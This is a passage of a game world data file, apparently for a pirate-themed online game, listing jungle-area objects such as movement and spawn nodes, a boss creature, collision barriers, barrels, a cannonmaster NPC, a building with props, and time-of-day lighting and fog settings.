Duration': '5', 'Pos': Point3(80.913, 109.222, 10.555), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835485.66dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(109.749, -31.916, 14.096), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835623.61dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(73.998, 64.292, 2.365), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835627.78dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(80.263, 187.041, 10.217), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835672.72dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(21.869, 175.133, 8.453), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835677.05dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(141.336, 39.272, 26.491), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835815.84dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(339.95, 79.562, 55.947), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835843.34dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(497.027, 82.196, 68.412), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835960.69dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(537.091, 167.459, 63.552), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835969.39dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(622.66, 91.98, 53.691), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836098.34dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(796.392, 95.984, 52.102), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836101.48dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(707.211, 158.562, 52.009), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836111.98dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(648.402, 88.247, 52.175), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836216.88dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(683.748, 108.007, 52.121), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836218.73dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(632.05, 170.85, 52.433), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836221.22dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(545.973, 139.699, 62.569), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836277.2dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(552.937, 33.176, 61.968), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836288.8dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(369.127, 84.058, 58.438), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836393.19dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(222.145, 228.211, 45.549), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836402.67dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(333.486, 249.981, 55.049), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192836491.28dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(796.157, 21.406, 52.254), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1219277480.63mtucker': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.424, -5.194, 1.006), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1219277480.71mtucker': {'Type': 'Door Locator Node', 'Name': 'door_locator_2', 'Hpr': VBase3(0.0, 0.0, 0.0), 'Pos': Point3(6.661, 20.924, 1.096), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1219277509.79mtucker': {'Type': 'Creature', 'Boss': True, 'Boss Name': 'Anonymous', 'Hpr': Point3(0.0, 0.0, 0.0), 'Level': '37', 'Patrol Radius': '12.0000', 'Pos': Point3(-16.545, 41.018, -0.75), 'PoseAnim': '', 'PoseFrame': '', 'Respawns': True, 'Scale': VBase3(1.0, 1.0, 1.0), 'Species': 'Bayou Gator', 'Start State': 'Idle', 'StartFrame': '0', 'VisSize': ''}, '1234402201.22caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-141.363, 0.0, 0.0), 'Pos': Point3(282.608, 36.363, 50.497), 'Scale': VBase3(3.187, 1.276, 2.219), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234402227.47caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(125.57, 0.0, 0.0), 'Pos': Point3(324.301, 51.187, 54.62), 'Scale': VBase3(1.0, 1.0, 1.423), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234487665.61caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-6.796, 0.0, 0.0), 'Pos': Point3(207.028, 250.092, 41.77), 'Scale': VBase3(1.0, 1.0, 2.383), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234487684.68caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-31.235, 0.0, 0.0), 'Pos': Point3(198.023, 253.172, 40.006), 'Scale': VBase3(1.0, 1.0, 2.383), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234488243.32caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(730.269, 178.82, 51.706), 'Scale': VBase3(0.383, 0.383, 0.383), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_sphere'}}, '1234490040.01caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(122.555, 0.0, 0.0), 'Pos': Point3(612.306, -54.09, 53.538), 'Scale': VBase3(1.0, 1.0, 1.927), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234490058.69caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(167.992, 0.0, 0.0), 'Pos': Point3(607.053, -45.649, 53.232), 'Scale': VBase3(1.0, 1.0, 1.927), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234490083.41caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(87.735, 0.0, 0.0), 'Pos': Point3(611.69, -51.657, 53.232), 'Scale': VBase3(1.0, 1.0, 1.927), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234490231.43caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-145.068, 0.0, 0.0), 'Pos': Point3(317.315, 52.378, 53.163), 'Scale': VBase3(1.0, 1.0, 1.739), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234490267.37caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-163.621, 0.0, 0.0), 'Pos': Point3(306.767, 49.75, 51.09), 'Scale': VBase3(2.506, 1.276, 2.219), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234923901.38caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(121.933, 0.0, 0.0), 'Pos': Point3(-50.826, -2.557, -1.54), 'Scale': VBase3(0.535, 1.0, 1.58), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1234927037.2caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-1.854, 0.0, 0.0), 'Pos': Point3(566.908, 200.619, 57.09), 'Scale': VBase3(3.865, 1.904, 3.41), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1240280290.34piwanow': {'Type': 'Spawn Node', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(23.199, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(161.683, -58.816, 31.999), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1240280337.58piwanow': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(129.942, -23.621, 23.641), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1240280362.33piwanow': {'Type': 'Movement Node', 'Hpr': VBase3(341.565, 0.0, 0.0), 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(162.96, 8.234, 32.199), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1245869169.58piwanow': {'Type': 'Searchable Container', 'Aggro Radius': '5.0000', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(615.403, -48.967, 54.824), 'Scale': VBase3(0.8, 0.8, 0.8), 'VisSize': '', 'Visual': {'Color': (1.0, 1.0, 1.0, 1.0), 'Model': 'models/props/barrel'}, 'searchTime': '6.0', 'type': 'Barrel'}, '1245869277.98piwanow': {'Type': 'Searchable Container', 'Aggro Radius': '5.0000', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(529.016, -53.608, 64.943), 'Scale': VBase3(0.8, 0.8, 0.8), 'VisSize': '', 'Visual': {'Model': 'models/props/barrel'}, 'searchTime': '6.0', 'type': 'Barrel'}, '1248385408.0jloehrle0': {'Type': 'Spawn Node', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': Point3(0.0, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(495.864, -6.778, 68.358), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Wasp T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1248385408.0jloehrle1': {'Type': 'Spawn Node', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': Point3(0.0, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(482.162, 37.461, 67.625), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Wasp T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1251250432.02caoconno': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(150.453, 0.0, 0.0), 'Pos': Point3(697.953, -69.518, 47.43), 'Scale': VBase3(1.624, 1.0, 3.193), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1276203346.38robrusso': {'Type': 'Player Spawn Node', 'Hpr': VBase3(150.642, 0.0, 0.0), 'Index': 26, 'Pos': Point3(433.327, 345.009, 63.415), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'VisSize': '', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1261096000.76laura': {'Type': 'Townsperson', 'Category': 'Cannonmaster', 'AnimSet': 'default', 'AuraFX': 'None', 'CustomModel': 'None', 'DNA': '1261096000.76laura', 'GhostColor': 'None', 'GhostFX': 0, 'Greeting Animation': '', 'HelpID': 'NONE', 'Holiday': '', 'Hpr': VBase3(153.435, 0.0, 0.0), 'Instanced World': 'PortRoyalCannonWorld', 'Level': '37', 'Notice Animation 1': '', 'Notice Animation 2': '', 'Patrol Radius': '12.0000', 'Pos': Point3(429.0, 350.0, 63.034), 'PoseAnim': '', 'PoseFrame': '', 'Private Status': 'All', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Requires Quest Interest': False, 'Respawns': True, 'Scale': VBase3(1.0, 1.0, 1.0), 'ShopID': 'TORTUGA_DEFAULTS', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'Player', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'spawnTimeBegin': 0.0, 'spawnTimeEnd': 0.0}, '1266424598.48Bill': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1266424598.48Bill0', 'Holiday': '', 'Hpr': VBase3(333.435, 0.0, 0.0), 'Objects': {'1266424598.5Bill': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(-0.819, -13.822, 1.347), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1267224626.04Bill': {'Type': 'Ship_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(26.565, 0.0, 0.0), 'Pos': Point3(-16.728, -12.753, 1.26), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/props/cannon_stack_02'}}, '1267224687.18Bill': {'Type': 'Barrel', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(26.565, 0.0, 0.0), 'Pos': Point3(6.541, -16.064, 1.222), 'Scale': VBase3(0.5, 0.5, 0.5), 'VisSize': '', 'Visual': {'Model': 'models/props/barrel'}}, '1267224786.48Bill': {'Type': 'Barrel', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(26.565, 0.0, 0.0), 'Pos': Point3(8.6, -16.1, 1.223), 'Scale': VBase3(0.5, 0.5, 0.5), 'VisSize': '', 'Visual': {'Model': 'models/props/barrel'}}, '1267224890.48Bill': {'Type': 'Barrel', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(26.565, 0.0, 0.0), 'Pos': Point3(7.6, -16.0, 4.45), 'Scale': VBase3(0.5, 0.5, 0.5), 'VisSize': '', 'Visual': {'Model': 'models/props/barrel'}}, '1267225005.98Bill': {'Type': 'Ship_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(10.62, 0.0, 0.0), 'Pos': Point3(16.602, -14.147, 1.268), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/props/cannon_stack_01'}}, '1267225180.0Bill': {'Type': 'Barrel', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-50.906, 0.0, 0.0), 'Pos': Point3(10.286, -17.59, 1.199), 'Scale': VBase3(0.5, 0.5, 0.5), 'VisSize': '', 'Visual': {'Model': 'models/props/barrel_sideways'}}, '1267225299.15Bill': {'Type': 'Ship_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(26.565, 0.0, 0.0), 'Pos': Point3(-7.95, -15.77, 1.21), 'Scale': VBase3(1.333, 1.333, 1.333), 'VisSize': '', 'Visual': {'Model': 'models/props/cannonball_stack_triangle'}}, '1267225463.17Bill': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(356.0, 0.0, 0.0), 'Pos': Point3(-0.402, -19.0, -3.0), 'Scale': VBase3(11.0, 11.0, 11.0), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_barrier_plane'}}}, 'Pos': Point3(443.0, 360.0, 63.9), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_combo_A', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_weapons'}}, '1267225081.56Bill': {'Type': 'Ship_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(191.679, 0.0, 0.0), 'Pos': Point3(422.602, 351.87, 62.482), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/props/cannon_broken_prop'}}, '1267225761.84Bill': {'Type': 'Ship_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(438.63, 343.1, 63.586), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/cannonball_stack_square'}}, '1267225967.48Bill': {'Type': 'Ship_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(204.624, 180.0, 0.0), 'Pos': Point3(458.584, 341.606, 65.587), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/props/cannon_stack_02'}}, '1267226578.11Bill': {'Type': 'Wall_Hangings', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(63.0, 0.0, 0.0), 'Pos': Point3(435.35, 345.7, 83.9), 'Scale': VBase3(0.15, 0.15, 0.15), 'VisSize': '', 'Visual': {'Model': 'models/buildings/pir_m_gam_can_cannonOverlay_flag'}}}, 'Visibility': 'Grid', 'Visual': {'Model': 'models/jungles/jungle_a_zero'}}}, 'TodSettings': {'AmbientColors': {0: Vec4(0.45, 0.53, 0.65, 1), 2: Vec4(0.537255, 0.494118, 0.627451, 1), 4: Vec4(0.4, 0.45, 0.5, 1), 6: Vec4(0.44, 0.45, 0.56, 1), 8: Vec4(0.39, 0.42, 0.54, 1), 12: Vec4(0.34, 0.28, 0.41, 1), 13: Vec4(0.34, 0.28, 0.41, 1), 14: Vec4(0.66, 0.76, 0.41, 1), 15: Vec4(0.66, 0.76, 0.41, 1), 16: Vec4(0.25, 0.25, 0.25, 1), 17: Vec4(0.34, 0.28, 0.41, 1)}, 'DirectionalColors': {0: Vec4(0.55, 0.46, 0.35, 1), 2: Vec4(0.458824, 0.458824, 0.364706, 1), 4: Vec4(0.6, 0.34, 0.1, 1), 6: Vec4(0.46, 0.48, 0.45, 1), 8: Vec4(0.42, 0.42, 0.4, 1), 12: Vec4(0.66, 0.76, 0.05, 1), 13: Vec4(0.66, 0.76, 0.05, 1), 14: Vec4(0.3, 0.2, 0.53, 1), 15: Vec4(0.3, 0.2, 0.53, 1), 16: Vec4(0, 0, 0, 1), 17: Vec4(0.66, 0.76, 0.05, 1)}, 'FogColors': {0: Vec4(0.3, 0.2, 0.15, 0), 2: Vec4(0.6, 0.694118, 0.894118, 1), 4: Vec4(0.3, 0.18, 0.15, 0), 6: Vec4(0.15, 0.2, 0.35, 0), 8: Vec4(0.05, 0.06, 0.17, 0), 12: Vec4(0.1, 0.12, 0.03, 0), 13: Vec4(0.1, 0.12, 0.03, 0), 14: Vec4(0.1, 0.12, 0.03, 0), 15: Vec4(0.1, 0.12, 0.03, 0), 16: Vec4(0.25, 0.25, 0.25, 1), 17: Vec4(0.1, 0.12, 0.03, 0)}, 'FogRanges': {0: 0.0001, 2: 9.999999747378752e-05, 4: 0.0001, 6: 0.0001, 8: 0.0002, 12: 0.00025, 13: 0.00025, 14: 0.00025, 15: 0.00025, 16: 0.0001, 17: 0.005}, 'LinearFogRanges': {0: (0.0, 100.0), 2: (0.0, 100.0), 4: (0.0, 100.0), 6: (0.0, 100.0), 8: (0.0, 100.0), 12: (0.0, 100.0), 13: (0.0, 100.0), 14: (0.0, 100.0), 15: (0.0, 100.0), 16: (0.0, 100.0), 17: (0.0, 100.0)}}, 'Node Links': [['1192835419.73dxschafe', '1192835404.89dxschafe', 'Bi-directional'], ['1175224832.0dxschafe', '1192835404.89dxschafe', 'Bi-directional'], ['1192835485.66dxschafe', '1192835481.48dxschafe', 'Bi-directional'], ['1192835481.48dxschafe', '1176168320.0dxschafe', 'Bi-directional'], ['1179333814.72Aholdun', '1192835623.61dxschafe', 'Bi-directional'], ['1192835627.78dxschafe', '1192835623.61dxschafe', 'Bi-directional'], ['1192835627.78dxschafe', '1179333814.72Aholdun', 'Bi-directional'], ['1192835677.05dxschafe', '1192835672.72dxschafe', 'Bi-directional'], ['1192835677.05dxschafe', '1179333651.86Aholdun', 'Bi-directional'], ['1192835672.72dxschafe', '1179333651.86Aholdun', 'Bi-directional'], ['1192835843.34dxschafe', '1192835815.84dxschafe', 'Bi-directional'], ['1176168576.0dxschafe1', '1192835815.84dxschafe', 'Bi-directional'], ['1192835969.39dxschafe', '1192835960.69dxschafe', 'Bi-directional'], ['1190077568.0dxschafe', '1192835960.69dxschafe', 'Bi-directional'], ['1190419328.0dxschafe1', '1192836111.98dxschafe', 'Bi-directional'], ['1192836098.34dxschafe', '1190419328.0dxschafe1', 'Bi-directional'], ['1192836098.34dxschafe', '1192836101.48dxschafe', 'Bi-directional'], ['1192836111.98dxschafe', '1192836101.48dxschafe', 'Bi-directional'], ['1190419328.0dxschafe', '1192836216.88dxschafe', 'Bi-directional'], ['1192836218.73dxschafe', '1192836216.88dxschafe', 'Bi-directional'], ['1192836218.73dxschafe', '1192836221.22dxschafe', 'Bi-directional'], ['1190419328.0dxschafe', '1192836221.22dxschafe', 'Bi-directional'], ['1192836288.8dxschafe', '1192836277.2dxschafe', 'Bi-directional'], ['1192836277.2dxschafe', '1190077440.0dxschafe', 'Bi-directional'], ['1192836402.67dxschafe', '1192836393.19dxschafe', 'Bi-directional'], ['1179336066.55Aholdun', '1192836393.19dxschafe', 'Bi-directional'], ['1192836402.67dxschafe', '1179336066.55Aholdun', 'Bi-directional'], ['1192836491.28dxschafe', '1190419328.0dxschafe0', 'Bi-directional'], ['1192835485.66dxschafe', '1176168320.0dxschafe', 'Bi-directional'], ['1175224832.0dxschafe', '1192835419.73dxschafe', 'Bi-directional'], ['1240280362.33piwanow', '1240280337.58piwanow', 'Bi-directional'], ['1240280290.34piwanow', '1240280337.58piwanow', 'Bi-directional']], 'Layers': {}, 'ObjectIds': {'1165004570.58sdnaik': '["Objects"]["1165004570.58sdnaik"]', '1165004689.08sdnaik': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1165004689.08sdnaik"]', '1165004689.08sdnaik0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1165004689.08sdnaik0"]', '1165004689.09sdnaik': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1165004689.09sdnaik"]', '1172085867.05kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172085867.05kmuller"]', '1172085897.89kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172085897.89kmuller"]', '1172085911.05kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172085911.05kmuller"]', '1172085928.49kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172085928.49kmuller"]', '1172086078.44kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172086078.44kmuller"]', '1172086167.22kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172086167.22kmuller"]', '1172086806.02kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172086806.02kmuller"]', '1172086815.55kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172086815.55kmuller"]', '1172086859.25kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172086859.25kmuller"]', '1172086899.91kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172086899.91kmuller"]', '1172087006.61kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172087006.61kmuller"]', '1172087043.0kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172087043.0kmuller"]', '1172087114.47kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172087114.47kmuller"]', '1172087147.13kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172087147.13kmuller"]', '1172087304.13kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172087304.13kmuller"]', '1172087900.05kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172087900.05kmuller"]', '1172255348.53kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller"]', '1172255348.53kmuller00': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller00"]', '1172255348.53kmuller02': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller02"]', '1172255348.53kmuller03': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller03"]', '1172255348.53kmuller04': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller04"]', '1172255348.53kmuller05': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller05"]', '1172255348.53kmuller06': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller06"]', '1172255348.53kmuller08': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller08"]', '1172255348.53kmuller09': 